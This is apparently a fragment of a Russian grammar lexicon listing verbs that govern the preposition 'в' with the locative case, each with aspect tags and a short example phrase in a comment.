rus_verbs:формулировать{}, // формулировать в следующей главе rus_verbs:застигнуть{}, // застигнуть в неприглядном виде rus_verbs:замурлыкать{}, // замурлыкать в тепле rus_verbs:поддакивать{}, // поддакивать в споре rus_verbs:прочертить{}, // прочертить в воздухе rus_verbs:отменять{}, // отменять в городе коменданский час rus_verbs:колдовать{}, // колдовать в лаборатории rus_verbs:отвозить{}, // отвозить в машине rus_verbs:трахать{}, // трахать в гамаке rus_verbs:повозиться{}, // повозиться в мешке rus_verbs:ремонтировать{}, // ремонтировать в центре rus_verbs:робеть{}, // робеть в гостях rus_verbs:перепробовать{}, // перепробовать в деле инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш }, rus_verbs:покаяться{}, // покаяться в церкви rus_verbs:попрыгать{}, // попрыгать в бассейне rus_verbs:умалчивать{}, // умалчивать в своем докладе rus_verbs:ковыряться{}, // ковыряться в старой технике rus_verbs:расписывать{}, // расписывать в деталях rus_verbs:вязнуть{}, // вязнуть в песке rus_verbs:погрязнуть{}, // погрязнуть в скандалах rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу rus_verbs:зажимать{}, // зажимать в углу rus_verbs:стискивать{}, // стискивать в ладонях rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса rus_verbs:израсходовать{}, // израсходовать в полете rus_verbs:клокотать{}, // клокотать в жерле rus_verbs:обвиняться{}, // обвиняться в растрате rus_verbs:уединиться{}, // уединиться в кладовке rus_verbs:подохнуть{}, // подохнуть в болоте rus_verbs:кипятиться{}, // кипятиться в чайнике rus_verbs:уродиться{}, // уродиться в лесу rus_verbs:продолжиться{}, // продолжиться в баре rus_verbs:расшифровать{}, // расшифровать в специальном устройстве rus_verbs:посапывать{}, // посапывать в кровати rus_verbs:скрючиться{}, // скрючиться в мешке rus_verbs:лютовать{}, // лютовать в отдаленных селах rus_verbs:расписать{}, // расписать в статье rus_verbs:публиковаться{}, // публиковаться в научном журнале rus_verbs:зарегистрировать{}, // зарегистрировать в комитете rus_verbs:прожечь{}, // прожечь в листе rus_verbs:переждать{}, // переждать в окопе rus_verbs:публиковать{}, // публиковать в журнале rus_verbs:морщить{}, // морщить в уголках глаз rus_verbs:спиться{}, // спиться в одиночестве rus_verbs:изведать{}, // изведать в гареме rus_verbs:обмануться{}, // обмануться в ожиданиях rus_verbs:сочетать{}, // сочетать в себе rus_verbs:подрабатывать{}, // подрабатывать в магазине rus_verbs:репетировать{}, // репетировать в студии rus_verbs:рябить{}, // рябить в глазах rus_verbs:намочить{}, // намочить в луже rus_verbs:скатать{}, // скатать в руке rus_verbs:одевать{}, // одевать в магазине rus_verbs:испечь{}, // испечь в духовке rus_verbs:сбрить{}, // сбрить в подмышках rus_verbs:зажужжать{}, // зажужжать в ухе rus_verbs:сберечь{}, // сберечь в тайном месте rus_verbs:согреться{}, // согреться в хижине инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш }, rus_verbs:переплыть{}, // переплыть в лодочке rus_verbs:передохнуть{}, // передохнуть в тени rus_verbs:отсвечивать{}, // отсвечивать в зеркалах rus_verbs:переправляться{}, // переправляться в лодках rus_verbs:накупить{}, // накупить в магазине rus_verbs:проторчать{}, // проторчать в очереди rus_verbs:проскальзывать{}, // проскальзывать в сообщениях rus_verbs:застукать{}, // застукать в солярии rus_verbs:наесть{}, // наесть в отпуске rus_verbs:подвизаться{}, // подвизаться в новом деле rus_verbs:вычистить{}, // вычистить в саду rus_verbs:кормиться{}, // кормиться в лесу rus_verbs:покурить{}, // покурить в саду rus_verbs:понизиться{}, // понизиться в ранге rus_verbs:зимовать{}, // зимовать в избушке rus_verbs:проверяться{}, // проверяться в службе безопасности rus_verbs:подпирать{}, // подпирать в первом забое rus_verbs:кувыркаться{}, // кувыркаться в постели rus_verbs:похрапывать{}, // похрапывать в постели rus_verbs:завязнуть{}, // завязнуть в песке rus_verbs:трактовать{}, // трактовать в исследовательской статье rus_verbs:замедляться{}, // замедляться в тяжелой воде rus_verbs:шастать{}, // шастать в здании rus_verbs:заночевать{}, // заночевать в пути rus_verbs:наметиться{}, // наметиться в исследованиях рака rus_verbs:освежить{}, // освежить в памяти rus_verbs:оспаривать{}, // оспаривать в суде rus_verbs:умещаться{}, // умещаться в ячейке rus_verbs:искупить{}, // искупить в бою rus_verbs:отсиживаться{}, // отсиживаться в тылу rus_verbs:мчать{}, // мчать в кабриолете rus_verbs:обличать{}, // обличать в своем выступлении rus_verbs:сгнить{}, // сгнить в тюряге rus_verbs:опробовать{}, // опробовать в деле rus_verbs:тренировать{}, // тренировать в зале rus_verbs:прославить{}, // прославить в академии rus_verbs:учитываться{}, // учитываться в дипломной работе rus_verbs:повеселиться{}, // повеселиться в лагере rus_verbs:поумнеть{}, // поумнеть в карцере rus_verbs:перестрелять{}, // перестрелять в воздухе rus_verbs:проведать{}, // проведать в больнице rus_verbs:измучиться{}, // измучиться в деревне rus_verbs:прощупать{}, // прощупать в глубине rus_verbs:изготовлять{}, // изготовлять в сарае rus_verbs:свирепствовать{}, // свирепствовать в популяции rus_verbs:иссякать{}, // иссякать в источнике rus_verbs:гнездиться{}, // гнездиться в дупле rus_verbs:разогнаться{}, // разогнаться в спортивной машине rus_verbs:опознавать{}, // опознавать в неизвестном rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках rus_verbs:редактировать{}, // редактировать в редакторе rus_verbs:покупаться{}, // покупаться в магазине rus_verbs:промышлять{}, // промышлять в роще rus_verbs:растягиваться{}, // растягиваться в коридоре rus_verbs:приобретаться{}, // приобретаться в антикварных лавках инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш }, rus_verbs:запечатлеться{}, // запечатлеться в мозгу rus_verbs:укрывать{}, // укрывать в подвале rus_verbs:закрепиться{}, // закрепиться в первой башне rus_verbs:освежать{}, // освежать в памяти rus_verbs:громыхать{}, // громыхать в ванной инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш }, rus_verbs:добываться{}, // добываться в шахтах rus_verbs:растворить{}, // растворить в кислоте rus_verbs:приплясывать{}, // приплясывать в гримерке rus_verbs:доживать{}, // доживать в доме престарелых rus_verbs:отпраздновать{}, // отпраздновать в ресторане rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях rus_verbs:помыть{}, // помыть в проточной воде инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш }, прилагательное:увязавший{ вид:несоверш }, rus_verbs:наличествовать{}, // наличествовать в запаснике rus_verbs:нащупывать{}, // нащупывать в кармане rus_verbs:повествоваться{}, // повествоваться в рассказе rus_verbs:отремонтировать{}, // отремонтировать в техцентре rus_verbs:покалывать{}, // покалывать в правом боку rus_verbs:сиживать{}, // сиживать в саду rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях rus_verbs:укрепляться{}, // укрепляться в мнении rus_verbs:разниться{}, // разниться во взглядах rus_verbs:сполоснуть{}, // сполоснуть в водичке rus_verbs:скупать{}, // скупать в магазине rus_verbs:почесывать{}, // почесывать в паху rus_verbs:оформлять{}, // оформлять в конторе rus_verbs:распускаться{}, // распускаться в садах rus_verbs:зарябить{}, // зарябить в глазах rus_verbs:загореть{}, // загореть в Испании rus_verbs:очищаться{}, // очищаться в баке rus_verbs:остудить{}, // остудить в холодной воде rus_verbs:разбомбить{}, // разбомбить в горах rus_verbs:издохнуть{}, // издохнуть в бедности rus_verbs:проехаться{}, // проехаться в новой машине rus_verbs:задействовать{}, // задействовать в анализе rus_verbs:произрастать{}, // произрастать в степи rus_verbs:разуться{}, // разуться в прихожей rus_verbs:сооружать{}, // сооружать в огороде rus_verbs:зачитывать{}, // зачитывать в суде rus_verbs:состязаться{}, // состязаться в остроумии rus_verbs:ополоснуть{}, // ополоснуть в молоке rus_verbs:уместиться{}, // уместиться в кармане rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом rus_verbs:стираться{}, // стираться в стиральной машине rus_verbs:искупаться{}, // искупаться в прохладной реке rus_verbs:курировать{}, // курировать в правительстве rus_verbs:закупить{}, // закупить в магазине rus_verbs:плодиться{}, // плодиться в подходящих условиях rus_verbs:горланить{}, // горланить в парке rus_verbs:першить{}, // першить в горле rus_verbs:пригрезиться{}, // пригрезиться во сне rus_verbs:исправлять{}, // исправлять в тетрадке rus_verbs:расслабляться{}, // расслабляться в гамаке rus_verbs:скапливаться{}, // скапливаться в нижней части rus_verbs:сплетничать{}, // сплетничают в комнате rus_verbs:раздевать{}, // раздевать в кабинке rus_verbs:окопаться{}, // окопаться в лесу rus_verbs:загорать{}, // загорать в Испании rus_verbs:подпевать{}, // подпевать в церковном хоре rus_verbs:прожужжать{}, // прожужжать в динамике rus_verbs:изучаться{}, // изучаться в дикой природе rus_verbs:заклубиться{}, // заклубиться в воздухе rus_verbs:подметать{}, // подметать в зале rus_verbs:подозреваться{}, // подозреваться в совершении кражи rus_verbs:обогащать{}, // обогащать в специальном аппарате rus_verbs:издаться{}, // издаться в другом издательстве rus_verbs:справить{}, // справить в кустах нужду rus_verbs:помыться{}, // помыться в бане rus_verbs:проскакивать{}, // проскакивать в словах rus_verbs:попивать{}, // попивать в кафе чай rus_verbs:оформляться{}, // оформляться в регистратуре rus_verbs:чирикать{}, // чирикать в кустах rus_verbs:скупить{}, // скупить в магазинах rus_verbs:переночевать{}, // переночевать в гостинице rus_verbs:концентрироваться{}, // концентрироваться в пробирке rus_verbs:одичать{}, // одичать в лесу rus_verbs:ковырнуть{}, // ковырнуть в ухе rus_verbs:затеплиться{}, // затеплиться в глубине души rus_verbs:разгрести{}, // разгрести в задачах залежи rus_verbs:застопориться{}, // застопориться в начале списка rus_verbs:перечисляться{}, // перечисляться во введении rus_verbs:покататься{}, // покататься в парке аттракционов rus_verbs:изловить{}, // изловить в поле rus_verbs:прославлять{}, // прославлять в стихах rus_verbs:промочить{}, // промочить в луже rus_verbs:поделывать{}, // поделывать в отпуске rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии rus_verbs:подстеречь{}, // подстеречь в подъезде rus_verbs:прикупить{}, // прикупить в магазине rus_verbs:перемешивать{}, // перемешивать в кастрюле rus_verbs:тискать{}, // тискать в углу rus_verbs:купать{}, // купать в теплой водичке rus_verbs:завариться{}, // завариться в стакане rus_verbs:притулиться{}, // притулиться в углу rus_verbs:пострелять{}, // пострелять в тире rus_verbs:навесить{}, // навесить в больнице инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш }, rus_verbs:нежиться{}, // нежится в постельке rus_verbs:притомиться{}, // притомиться в школе rus_verbs:раздвоиться{}, // раздвоиться в глазах rus_verbs:навалить{}, // навалить в углу rus_verbs:замуровать{}, // замуровать в склепе rus_verbs:поселяться{}, // поселяться в кроне дуба rus_verbs:потягиваться{}, // потягиваться в кровати rus_verbs:укачать{}, // укачать в поезде rus_verbs:отлеживаться{}, // отлеживаться в гамаке rus_verbs:разменять{}, // разменять в кассе rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде rus_verbs:ржаветь{}, // ржаветь в воде rus_verbs:уличить{}, // уличить в плагиате rus_verbs:мутиться{}, // мутиться в голове rus_verbs:растворять{}, // растворять в бензоле rus_verbs:двоиться{}, // двоиться в глазах rus_verbs:оговорить{}, // оговорить в договоре rus_verbs:подделать{}, // подделать в документе rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети rus_verbs:растолстеть{}, // растолстеть в талии rus_verbs:повоевать{}, // повоевать в городских условиях rus_verbs:прибраться{}, // гнушаться прибраться в хлеву rus_verbs:поглощаться{}, // поглощаться в металлической фольге rus_verbs:ухать{}, // ухать в лесу rus_verbs:подписываться{}, // подписываться в петиции rus_verbs:покатать{}, // покатать в машинке rus_verbs:излечиться{}, // излечиться в клинике rus_verbs:трепыхаться{}, // трепыхаться в мешке rus_verbs:кипятить{}, // кипятить в кастрюле rus_verbs:понастроить{}, // понастроить в прибрежной зоне rus_verbs:перебывать{}, // перебывать во всех европейских столицах rus_verbs:оглашать{}, // оглашать в итоговой части rus_verbs:преуспевать{}, // преуспевать в новом бизнесе rus_verbs:консультироваться{}, // консультироваться в техподдержке rus_verbs:накапливать{}, // накапливать в печени rus_verbs:перемешать{}, // перемешать в контейнере rus_verbs:наследить{}, // наследить в коридоре rus_verbs:выявиться{}, // выявиться в результе rus_verbs:забулькать{}, // забулькать в болоте rus_verbs:отваривать{}, // отваривать в молоке rus_verbs:запутываться{}, // запутываться в веревках rus_verbs:нагреться{}, // нагреться в микроволновой печке rus_verbs:рыбачить{}, // рыбачить в открытом море rus_verbs:укорениться{}, // укорениться в сознании широких народных масс rus_verbs:умывать{}, // умывать в тазике rus_verbs:защекотать{}, // защекотать в носу rus_verbs:заходиться{}, // заходиться в плаче инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш }, деепричастие:искупав{}, деепричастие:искупая{}, rus_verbs:заморозить{}, // заморозить в холодильнике rus_verbs:закреплять{}, // закреплять в металлическом держателе rus_verbs:расхватать{}, // расхватать в магазине rus_verbs:истязать{}, // истязать в тюремном подвале rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете rus_verbs:подогреть{}, // подогрей в микроволновке rus_verbs:подогревать{}, rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку rus_verbs:проделать{}, // проделать в стене дыру инфинитив:жениться{ вид:соверш }, // жениться в Техасе инфинитив:жениться{ вид:несоверш }, глагол:жениться{ вид:соверш }, глагол:жениться{ вид:несоверш }, деепричастие:женившись{}, деепричастие:женясь{}, прилагательное:женатый{}, прилагательное:женившийся{вид:соверш}, прилагательное:женящийся{}, rus_verbs:всхрапнуть{}, // всхрапнуть во сне rus_verbs:всхрапывать{}, // всхрапывать во сне rus_verbs:ворочаться{}, // Собака ворочается во сне rus_verbs:воссоздаваться{}, // воссоздаваться в памяти rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу инфинитив:атаковать{ вид:соверш }, глагол:атаковать{ вид:несоверш }, глагол:атаковать{ вид:соверш }, прилагательное:атакованный{}, прилагательное:атаковавший{}, прилагательное:атакующий{}, инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени инфинитив:аккумулировать{вид:соверш}, глагол:аккумулировать{вид:несоверш}, глагол:аккумулировать{вид:соверш}, прилагательное:аккумулированный{}, прилагательное:аккумулирующий{}, //прилагательное:аккумулировавший{ вид:несоверш }, прилагательное:аккумулировавший{ вид:соверш }, rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию rus_verbs:вырасти{}, // Он вырос в глазах коллег. rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо. rus_verbs:убить{}, // убить в себе зверя инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани инфинитив:абсорбироваться{ вид:несоверш }, глагол:абсорбироваться{ вид:соверш }, глагол:абсорбироваться{ вид:несоверш }, rus_verbs:поставить{}, // поставить в углу rus_verbs:сжимать{}, // сжимать в кулаке rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы инфинитив:активизироваться{ вид:соверш }, глагол:активизироваться{ вид:несоверш }, глагол:активизироваться{ вид:соверш }, rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе rus_verbs:базировать{}, // установка будет базирована в лесу rus_verbs:барахтаться{}, // дети барахтались в воде rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины rus_verbs:блуждать{}, // Туристы блуждали в лесу rus_verbs:брать{}, // Жена берет деньги в тумбочке rus_verbs:бродить{}, // парочки бродили в парке rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде rus_verbs:вариться{}, // Курица варится в кастрюле rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году rus_verbs:прокручиваться{}, // Ключ прокручивается в замке rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке rus_verbs:храниться{}, // Настройки хранятся в текстовом файле rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле rus_verbs:витать{}, // Мальчик витает в облаках rus_verbs:владычествовать{}, // Король владычествует в стране rus_verbs:властвовать{}, // Олигархи властвовали в стране rus_verbs:возбудить{}, // возбудить в сердце тоску rus_verbs:возбуждать{}, // возбуждать в сердце тоску rus_verbs:возвыситься{}, // возвыситься в глазах современников rus_verbs:возжечь{}, // возжечь в храме огонь rus_verbs:возжечься{}, // Огонь возжёгся в храме rus_verbs:возжигать{}, // возжигать в храме огонь rus_verbs:возжигаться{}, // Огонь возжигается в храме rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь rus_verbs:вознамериться{}, // вознамериться уйти в монастырь rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове rus_verbs:возникнуть{}, // Новые идейки возникли в голове rus_verbs:возродиться{}, // возродиться в новом качестве rus_verbs:возрождать{}, // возрождать в новом качестве rus_verbs:возрождаться{}, // возрождаться в новом амплуа rus_verbs:ворошить{}, // ворошить в камине кочергой золу rus_verbs:воспевать{}, // Поэты воспевают героев в одах rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами rus_verbs:воспеть{}, // Поэты воспели в этой оде героев rus_verbs:воспретить{}, // воспретить в помещении азартные игры rus_verbs:восславить{}, // Поэты восславили в одах rus_verbs:восславлять{}, // Поэты восславляют в одах rus_verbs:восславляться{}, // Героя восславляются в одах rus_verbs:воссоздать{}, // воссоздает в памяти образ человека rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека rus_verbs:воссоздаться{}, // воссоздаться в памяти rus_verbs:вскипятить{}, // вскипятить в чайнике воду rus_verbs:вскипятиться{}, // вскипятиться в чайнике rus_verbs:встретить{}, // встретить в классе старого приятеля rus_verbs:встретиться{}, // встретиться в классе rus_verbs:встречать{}, // встречать в лесу голодного медведя rus_verbs:встречаться{}, // встречаться в кафе rus_verbs:выбривать{}, // выбривать что-то в подмышках rus_verbs:выбрить{}, // выбрить что-то в паху rus_verbs:вывалять{}, // вывалять кого-то в грязи rus_verbs:вываляться{}, // вываляться в грязи rus_verbs:вываривать{}, // вываривать в молоке rus_verbs:вывариваться{}, // вывариваться в молоке rus_verbs:выварить{}, // выварить в молоке rus_verbs:вывариться{}, // вывариться в молоке rus_verbs:выгрызать{}, // выгрызать в сыре отверствие rus_verbs:выгрызть{}, // выгрызть в сыре отверстие rus_verbs:выгуливать{}, // выгуливать в парке собаку rus_verbs:выгулять{}, // выгулять в парке собаку rus_verbs:выдолбить{}, // выдолбить в стволе углубление rus_verbs:выжить{}, // выжить в пустыне rus_verbs:Выискать{}, // Выискать в программе ошибку rus_verbs:выискаться{}, // Ошибка выискалась в программе rus_verbs:выискивать{}, // выискивать в программе ошибку rus_verbs:выискиваться{}, // выискиваться в программе rus_verbs:выкраивать{}, // выкраивать в расписании время rus_verbs:выкраиваться{}, // выкраиваться в расписании инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере глагол:выкупаться{вид:соверш}, rus_verbs:выловить{}, // выловить в пруду rus_verbs:вымачивать{}, // вымачивать в молоке rus_verbs:вымачиваться{}, // вымачиваться в молоке rus_verbs:вынюхивать{}, // вынюхивать в траве следы rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду rus_verbs:выпачкаться{}, // выпачкаться в грязи rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков rus_verbs:выращивать{}, // выращивать в теплице помидоры rus_verbs:выращиваться{}, // выращиваться в теплице rus_verbs:вырыть{}, // вырыть в земле глубокую яму rus_verbs:высадить{}, // высадить в пустынной местности rus_verbs:высадиться{}, // высадиться в пустынной местности rus_verbs:высаживать{}, // высаживать в пустыне rus_verbs:высверливать{}, // высверливать в доске отверствие rus_verbs:высверливаться{}, // высверливаться в стене rus_verbs:высверлить{}, // высверлить в стене отверствие rus_verbs:высверлиться{}, // высверлиться в стене rus_verbs:выскоблить{}, // выскоблить в столешнице канавку rus_verbs:высматривать{}, // высматривать в темноте rus_verbs:заметить{}, // заметить в помещении rus_verbs:оказаться{}, // оказаться в первых рядах rus_verbs:душить{}, // душить в объятиях rus_verbs:оставаться{}, // оставаться в классе rus_verbs:появиться{}, // впервые появиться в фильме rus_verbs:лежать{}, // лежать в футляре rus_verbs:раздаться{}, // раздаться в плечах rus_verbs:ждать{}, // ждать в здании вокзала rus_verbs:жить{}, // жить в трущобах rus_verbs:постелить{}, // постелить в прихожей rus_verbs:оказываться{}, // оказываться в неприятной ситуации rus_verbs:держать{}, // держать в голове rus_verbs:обнаружить{}, // обнаружить в себе способность rus_verbs:начинать{}, // начинать в лаборатории rus_verbs:рассказывать{}, // рассказывать в лицах rus_verbs:ожидать{}, // ожидать в помещении rus_verbs:продолжить{}, // продолжить в помещении rus_verbs:состоять{}, // состоять в группе rus_verbs:родиться{}, // родиться в рубашке rus_verbs:искать{}, // искать в кармане rus_verbs:иметься{}, // иметься в наличии rus_verbs:говориться{}, // говориться в среде панков rus_verbs:клясться{}, // клясться в верности rus_verbs:узнавать{}, // узнавать в нем своего сына rus_verbs:признаться{}, // признаться в ошибке rus_verbs:сомневаться{}, // сомневаться в искренности rus_verbs:толочь{}, // толочь в ступе rus_verbs:понадобиться{}, // понадобиться в суде rus_verbs:служить{}, // служить в пехоте rus_verbs:потолочь{}, // потолочь в ступе rus_verbs:появляться{}, // появляться в театре rus_verbs:сжать{}, // сжать в объятиях rus_verbs:действовать{}, // действовать в постановке rus_verbs:селить{}, // селить в гостинице rus_verbs:поймать{}, // поймать в лесу rus_verbs:увидать{}, // увидать в толпе rus_verbs:подождать{}, // подождать в кабинете rus_verbs:прочесть{}, // прочесть в глазах rus_verbs:тонуть{}, // тонуть в реке rus_verbs:ощущать{}, // ощущать в животе rus_verbs:ошибиться{}, // ошибиться в расчетах rus_verbs:отметить{}, // отметить в списке rus_verbs:показывать{}, // показывать в динамике rus_verbs:скрыться{}, // скрыться в траве rus_verbs:убедиться{}, // убедиться в корректности rus_verbs:прозвучать{}, // прозвучать в наушниках rus_verbs:разговаривать{}, // разговаривать в фойе rus_verbs:издать{}, // издать в России rus_verbs:прочитать{}, // прочитать в газете rus_verbs:попробовать{}, // попробовать в деле rus_verbs:замечать{}, // замечать в программе ошибку rus_verbs:нести{}, // нести в руках rus_verbs:пропасть{}, // пропасть в плену rus_verbs:носить{}, // носить в кармане rus_verbs:гореть{}, // гореть в аду rus_verbs:поправить{}, // поправить в программе rus_verbs:застыть{}, // застыть в неудобной позе rus_verbs:получать{}, // получать в кассе rus_verbs:потребоваться{}, // потребоваться в работе rus_verbs:спрятать{}, // спрятать в шкафу rus_verbs:учиться{}, // учиться в институте rus_verbs:развернуться{}, // развернуться в коридоре rus_verbs:подозревать{}, // подозревать в мошенничестве rus_verbs:играть{}, // играть в команде rus_verbs:сыграть{}, // сыграть в команде rus_verbs:строить{}, // строить в деревне rus_verbs:устроить{}, // устроить в доме вечеринку rus_verbs:находить{}, // находить в лесу rus_verbs:нуждаться{}, // нуждаться в деньгах rus_verbs:испытать{}, // испытать в рабочей обстановке rus_verbs:мелькнуть{}, // мелькнуть в прицеле rus_verbs:очутиться{}, // очутиться в закрытом помещении инфинитив:использовать{вид:соверш}, // использовать в работе инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, глагол:использовать{вид:соверш}, rus_verbs:лететь{}, // лететь в самолете rus_verbs:смеяться{}, // смеяться в цирке rus_verbs:ездить{}, // ездить в лимузине rus_verbs:заснуть{}, // заснуть в неудобной позе rus_verbs:застать{}, // застать в неформальной обстановке rus_verbs:очнуться{}, // очнуться в незнакомой обстановке rus_verbs:твориться{}, // Что творится в закрытой зоне rus_verbs:разглядеть{}, // разглядеть в темноте rus_verbs:изучать{}, // изучать в естественных условиях rus_verbs:удержаться{}, // удержаться в седле rus_verbs:побывать{}, // побывать в зоопарке rus_verbs:уловить{}, // уловить в словах нотку отчаяния rus_verbs:приобрести{}, // приобрести в лавке rus_verbs:исчезать{}, // исчезать в тумане rus_verbs:уверять{}, // уверять в своей невиновности rus_verbs:продолжаться{}, // продолжаться в воздухе rus_verbs:открывать{}, // открывать в городе новый стадион rus_verbs:поддержать{}, // поддержать в парке порядок rus_verbs:солить{}, // солить в бочке rus_verbs:прожить{}, // прожить в деревне rus_verbs:создавать{}, // создавать в театре rus_verbs:обсуждать{}, // обсуждать в коллективе rus_verbs:заказать{}, // заказать в магазине rus_verbs:отыскать{}, // отыскать в гараже rus_verbs:уснуть{}, // уснуть в кресле rus_verbs:задержаться{}, // задержаться в театре rus_verbs:подобрать{}, // подобрать в коллекции rus_verbs:пробовать{}, // пробовать в работе rus_verbs:курить{}, // курить в закрытом помещении rus_verbs:устраивать{}, // устраивать в лесу засаду rus_verbs:установить{}, // установить в багажнике rus_verbs:запереть{}, // запереть в сарае rus_verbs:содержать{}, // содержать в достатке rus_verbs:синеть{}, // синеть в кислородной атмосфере rus_verbs:слышаться{}, // слышаться в голосе rus_verbs:закрыться{}, // закрыться в здании rus_verbs:скрываться{}, // скрываться в квартире rus_verbs:родить{}, // родить в больнице rus_verbs:описать{}, // описать в заметках rus_verbs:перехватить{}, // перехватить в коридоре rus_verbs:менять{}, // менять в магазине rus_verbs:скрывать{}, // скрывать в чужой квартире rus_verbs:стиснуть{}, // стиснуть в стальных объятиях rus_verbs:останавливаться{}, // останавливаться в гостинице rus_verbs:мелькать{}, // мелькать в телевизоре rus_verbs:присутствовать{}, // присутствовать в аудитории rus_verbs:украсть{}, // украсть в магазине rus_verbs:победить{}, // победить в войне rus_verbs:расположиться{}, // расположиться в гостинице rus_verbs:упомянуть{}, // упомянуть в своей книге rus_verbs:плыть{}, // плыть в старой бочке rus_verbs:нащупать{}, // нащупать в глубине rus_verbs:проявляться{}, // проявляться в работе rus_verbs:затихнуть{}, // затихнуть в норе rus_verbs:построить{}, // построить в гараже rus_verbs:поддерживать{}, // поддерживать в исправном состоянии rus_verbs:заработать{}, // заработать в стартапе rus_verbs:сломать{}, // сломать в суставе rus_verbs:снимать{}, // снимать в гардеробе rus_verbs:сохранить{}, // сохранить в коллекции rus_verbs:располагаться{}, // располагаться в отдельном кабинете rus_verbs:сражаться{}, // сражаться в честном бою rus_verbs:спускаться{}, // спускаться в батискафе rus_verbs:уничтожить{}, // уничтожить в схроне rus_verbs:изучить{}, // изучить в естественных условиях rus_verbs:рождаться{}, // рождаться в муках rus_verbs:пребывать{}, // пребывать в прострации rus_verbs:прилететь{}, // прилететь в аэробусе rus_verbs:догнать{}, // догнать в переулке rus_verbs:изобразить{}, // изобразить в танце rus_verbs:проехать{}, // проехать в легковушке rus_verbs:убедить{}, // убедить в разумности rus_verbs:приготовить{}, // приготовить в духовке rus_verbs:собирать{}, // собирать в лесу rus_verbs:поплыть{}, // поплыть в катере rus_verbs:доверять{}, // доверять в управлении rus_verbs:разобраться{}, // разобраться в законах rus_verbs:ловить{}, // ловить в озере rus_verbs:проесть{}, // проесть в куске металла отверстие rus_verbs:спрятаться{}, // спрятаться в подвале rus_verbs:провозгласить{}, // провозгласить в речи rus_verbs:изложить{}, // изложить в своём выступлении rus_verbs:замяться{}, // замяться в коридоре rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна rus_verbs:хранить{}, // хранить в шкатулке rus_verbs:шутить{}, // шутить в классе глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях инфинитив:рассыпаться{ aux stress="рассып^аться" }, rus_verbs:чертить{}, // чертить в тетрадке rus_verbs:отразиться{}, // отразиться в аттестате rus_verbs:греть{}, // греть в микроволновке rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса rus_verbs:рассуждать{}, // Автор рассуждает в своей статье rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда rus_verbs:окружать{}, // окружать в лесу rus_verbs:сопровождать{}, // сопровождать в операции rus_verbs:заканчиваться{}, // заканчиваться в дороге rus_verbs:поселиться{}, // поселиться в загородном доме rus_verbs:охватывать{}, // охватывать в хронологии rus_verbs:запеть{}, // запеть в кино инфинитив:провозить{вид:несоверш}, // провозить в багаже глагол:провозить{вид:несоверш}, rus_verbs:мочить{}, // мочить в сортире rus_verbs:перевернуться{}, // перевернуться в полёте rus_verbs:улететь{}, // улететь в теплые края rus_verbs:сдержать{}, // сдержать в руках 